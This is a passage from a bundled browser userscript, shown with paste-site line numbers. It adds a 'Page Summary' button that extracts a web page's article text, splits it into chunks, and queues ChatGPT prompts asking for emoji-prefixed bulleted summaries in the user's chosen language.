.swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}div:where(.swal2-icon){position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}div:where(.swal2-icon) .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}div:where(.swal2-icon).swal2-error{border-color:#f27474;color:#f27474}div:where(.swal2-icon).swal2-error .swal2-x-mark{position:relative;flex-grow:1}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}div:where(.swal2-icon).swal2-warning{border-color:#facea8;color:#f8bb86}div:where(.swal2-icon).swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}div:where(.swal2-icon).swal2-info{border-color:#9de0f6;color:#3fc3ee}div:where(.swal2-icon).swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}div:where(.swal2-icon).swal2-question{border-color:#c9dae1;color:#87adbd}div:where(.swal2-icon).swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}div:where(.swal2-icon).swal2-success{border-color:#a5dc86;color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}div:where(.swal2-icon).swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}div:where(.swal2-icon).swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}');
  3059. }
  3060. });
  3061.  
  3062. // src/index.ts
  3063. var import_chatgpt = __toESM(require_chatgpt2(), 1);
  3064.  
  3065. // src/createButton/index.ts
  3066. function createButton(callback, buttonText) {
  3067. if (window.location.href.includes("chat.openai")) {
  3068. return;
  3069. }
  3070. const hideRight = document.title.match(/[\u4e00-\u9fa5]/) ? "-130px" : "-120px";
  3071. const button = document.createElement("button");
  3072. button.innerHTML = buttonText;
  3073. button.style.position = "fixed";
  3074. button.style.width = "140px";
  3075. button.style.top = "180px";
  3076. button.style.right = hideRight;
  3077. button.style.zIndex = "999999";
  3078. button.style.backgroundColor = "#F8BBC6";
  3079. button.style.color = "#fff";
  3080. button.style.opacity = "0.8";
  3081. button.style.border = "none";
  3082. button.style.borderRadius = "4px";
  3083. button.style.padding = "10px 16px";
  3084. button.style.fontSize = "18px";
  3085. button.style.cursor = "pointer";
  3086. button.style.transition = "right 0.3s";
  3087. document.body.appendChild(button);
  3088. button.addEventListener("mouseenter", () => {
  3089. button.style.right = "-10px";
  3090. });
  3091. button.addEventListener("mouseleave", () => {
  3092. button.style.right = hideRight;
  3093. });
  3094. document.addEventListener("fullscreenchange", () => {
  3095. if (document.fullscreenElement) {
  3096. button.style.display = "none";
  3097. } else {
  3098. button.style.display = "block";
  3099. }
  3100. });
  3101. button.addEventListener("click", callback);
  3102. }
  3103. var createButton_default = createButton;
  3104.  
  3105. // src/SimpleArticleSegmentation/index.ts
  3106. var MIN_PARAGRAPH_LENGTH = 3200;
  3107. var MAX_PARAGRAPH_LENGTH = 3600;
  3108. var TOKEN_LETTER_TO_CHARACTER_RATIO = 0.6;
  3109. var SimpleArticleSegmentation = class {
  3110. constructor(text) {
  3111. this.text = text;
  3112. }
  3113. containsAsianCharacters(str) {
  3114. const regex = /[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}\p{Script=Hangul}]/gu;
  3115. return regex.test(str);
  3116. }
  3117. segment() {
  3118. const paragraphs = [];
  3119. if (this.containsAsianCharacters(this.text)) {
  3120. let i = 0;
  3121. const maxParagraphLength = Math.floor(MAX_PARAGRAPH_LENGTH * TOKEN_LETTER_TO_CHARACTER_RATIO);
  3122. while (i < this.text.length) {
  3123. const paragraph = this.text.substring(i, i + maxParagraphLength);
  3124. paragraphs.push(paragraph);
  3125. i += maxParagraphLength;
  3126. }
  3127. } else {
  3128. const sentences = this.text.split(new RegExp("(?<=[.!?])\\s+"));
  3129. let paragraph = "";
  3130. for (const sentence of sentences) {
  3131. if (paragraph.length + sentence.length + 1 <= MAX_PARAGRAPH_LENGTH) {
  3132. paragraph += (paragraph.length > 0 ? " " : "") + sentence;
  3133. } else {
  3134. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3135. paragraphs.push(paragraph);
  3136. paragraph = sentence;
  3137. } else {
  3138. paragraph += " " + sentence;
  3139. }
  3140. }
  3141. }
  3142. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3143. paragraphs.push(paragraph);
  3144. }
  3145. }
  3146. return paragraphs;
  3147. }
  3148. };
  3149. var SimpleArticleSegmentation_default = SimpleArticleSegmentation;
  3150.  
  3151. // src/getParagraphs/index.ts
  3152. function getParagraphs() {
  3153. try {
  3154. let docClone = document.cloneNode(true);
  3155. let article = new Readability(docClone).parse();
  3156. if (article && article.textContent) {
  3157. const segmenter = new SimpleArticleSegmentation_default(article.textContent);
  3158. const paragraphs = segmenter.segment();
  3159. for (let i = 0; i < paragraphs.length; i++) {
  3160. paragraphs[i] = paragraphs[i].trim();
  3161. }
  3162. return paragraphs;
  3163. } else {
  3164. console.warn("Readability.js could not extract any text content from this page.");
  3165. return [];
  3166. }
  3167. } catch (error) {
  3168. console.error("An error occurred while using Readability.js:", error);
  3169. return [];
  3170. }
  3171. }
  3172. var getParagraphs_default = getParagraphs;
  3173.  
  3174. // ../../packages/monkit/dist/index.mjs
  3175. var MenuManager = class {
  3176. constructor(default_menu_all) {
  3177. this.default_menu_all = default_menu_all;
  3178. this.menu_all = GM_getValue("menu_all", this.default_menu_all);
  3179. for (const name in this.default_menu_all) {
  3180. if (!(name in this.menu_all)) {
  3181. this.menu_all[name] = this.default_menu_all[name];
  3182. }
  3183. }
  3184. this.menu_id = GM_getValue("menu_id", {});
  3185. this.update_menu();
  3186. }
  3187. registerMenuCommand(name, value) {
  3188. if (name === "chat_language") {
  3189. return GM_registerMenuCommand(`${name}\uFF1A${value}`, () => {
  3190. const language = prompt("Please input the language you want to use", value.toString());
  3191. if (language) {
  3192. this.menu_all[name] = language;
  3193. GM_setValue("menu_all", this.menu_all);
  3194. this.update_menu();
  3195. location.reload();
  3196. }
  3197. });
  3198. }
  3199. const menuText = ` ${name}\uFF1A${value ? "\u2705" : "\u274C"}`;
  3200. const commandCallback = () => {
  3201. this.menu_all[name] = !this.menu_all[name];
  3202. GM_setValue("menu_all", this.menu_all);
  3203. this.update_menu();
  3204. location.reload();
  3205. };
  3206. return GM_registerMenuCommand(menuText, commandCallback);
  3207. }
  3208. update_menu() {
  3209. for (const name in this.menu_all) {
  3210. const value = this.menu_all[name];
  3211. if (this.menu_id[name]) {
  3212. GM_unregisterMenuCommand(this.menu_id[name]);
  3213. }
  3214. this.menu_id[name] = this.registerMenuCommand(name, value);
  3215. }
  3216. GM_setValue("menu_id", this.menu_id);
  3217. }
  3218. getMenuValue(name) {
  3219. return this.menu_all[name];
  3220. }
  3221. };
  3222. function getLocalLanguage() {
  3223. const userLanguage = navigator.language;
  3224. const languageNames = new Intl.DisplayNames([userLanguage], { type: "language" });
  3225. const readableLanguage = languageNames.of(userLanguage);
  3226. return readableLanguage;
  3227. }
  3228.  
  3229. // src/index.ts
  3230. var import_sweetalert2 = __toESM(require_sweetalert2_all(), 1);
  3231. function initialize() {
  3232. return __async(this, null, function* () {
  3233. yield new Promise((resolve) => window.addEventListener("load", resolve));
  3234. yield new Promise((resolve) => setTimeout(resolve, 1e3));
  3235. });
  3236. }
  3237. function main() {
  3238. return __async(this, null, function* () {
  3239. yield initialize();
  3240. const defaultMenu = {
  3241. "chat_language": getLocalLanguage() || "Chinese"
  3242. };
  3243. const menuManager = new MenuManager(defaultMenu);
  3244. const chatLanguage = menuManager.getMenuValue("chat_language");
  3245. GM_registerMenuCommand("\u{1F4DD} Input", () => {
  3246. import_sweetalert2.default.fire({
  3247. title: "Please input the text you want to deal with",
  3248. input: "text",
  3249. inputPlaceholder: "Enter your text here"
  3250. }).then((result) => {
  3251. if (result.value) {
  3252. const text = result.value;
  3253. const segmenter = new SimpleArticleSegmentation_default(text);
  3254. const paragraphs = segmenter.segment();
  3255. console.log(paragraphs);
  3256. const lenParagraphs = paragraphs.length;
  3257. const prompt_texts = paragraphs.map((paragraph, index) => {
  3258. return `"""
  3259. ${paragraph}
  3260. ${index + 1}/${lenParagraphs}
  3261. """`;
  3262. });
  3263. GM_setValue("prompt_texts", prompt_texts.map(
  3264. (p) => `Answer me in ${chatLanguage} language with good segmentation,
  3265.  
  3266. Summarize below paragraph into a bulleted list of the most important information, prefix with emoji:
  3267.  
  3268. ${p}
  3269.  
  3270. ps: answer in ${chatLanguage} language`
  3271. ));
  3272. }
  3273. });
  3274. });
  3275. const key = "prompt_texts";
  3276. (0, import_chatgpt.setPromptListener)(key);
  3277. const summaryWeb = () => __async(this, null, function* () {
  3278. const paragraphs = getParagraphs_default();
  3279. console.log(paragraphs);
  3280. const lenParagraphs = paragraphs.length;
  3281. const prompt_texts = paragraphs.map((paragraph, index) => {
  3282. return `"""
  3283. ${paragraph}
  3284. ${index + 1}/${lenParagraphs}
  3285. """`;
  3286. });
  3287. GM_setValue("prompt_texts", prompt_texts.map(
  3288. (p) => `Answer me in ${chatLanguage} language with good segmentation,
  3289.  
  3290. Summarize below paragraph into a bulleted list of the most important information, prefix with emoji:
  3291.  
  3292. ${p}
  3293.  
  3294. ps: answer in ${chatLanguage} language`
  3295. ));
  3296. });
  3297. let buttonText = "Page Summary";
  3298. if (navigator.language.startsWith("zh")) {
  3299. buttonText = "\u9875\u9762\u6458\u8981";
  3300. }
  3301. createButton_default(summaryWeb, buttonText);
  3302. });
  3303. }
  3304. (function() {
  3305. main();
  3306. })();
  3307. })();
  3308. /*! Bundled license information:
  3309.  
  3310. sweetalert2/dist/sweetalert2.all.js:
  3311. (*!
  3312. * sweetalert2 v11.7.18
  3313. * Released under the MIT License.
  3314. *)
  3315. */